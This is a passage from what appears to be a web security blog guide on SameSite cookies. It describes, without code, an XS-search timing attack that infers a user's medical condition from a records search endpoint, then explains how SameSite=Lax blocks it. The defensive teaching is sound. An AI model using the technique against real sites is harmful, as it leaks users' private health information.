And if the patient doesn't have diabetes, the API returns an empty JSON.

GET /api/v1/records/search?query=diabetes

{"records": []}

Generally, the former request would take a longer time. An attacker could then create a malicious website that clocks requests to the "diabetes" URL and determines whether or not the user has diabetes.

You can expand the attack and search for a... b... c... d... yes. da.. db... di... yes. This sort of attack is known as XS-search.

How does SameSite help?

In this case, SameSite=Lax is enough to prevent the attack, because the fetch requests happen in a third party context. It also helps prevent other xs-leaks such as monitoring error events, frame counting, monitoring navigations and monitoring blur events.

Summary

Using SameSite cookies will significantly improve your application's client-side security, protecting against XSS, CSRF, and XS-Leak attacks.

The strict mode has drawbacks and might not be the best fit for most applications, but luckily the lax mode covers most attacks.

The lax mode is becoming the default as I write, so make sure you are ready for the change.

Get the web security checklist spreadsheet!

☝️ Subscribe to AppSec Monkey's email list, get our best content delivered straight to your inbox, and get our 2021 Web Application Security Checklist Spreadsheet for FREE as a welcome gift!

Don't stop here

If you like this article, check out the other application security guides we have on AppSec Monkey as well.

Thanks for reading.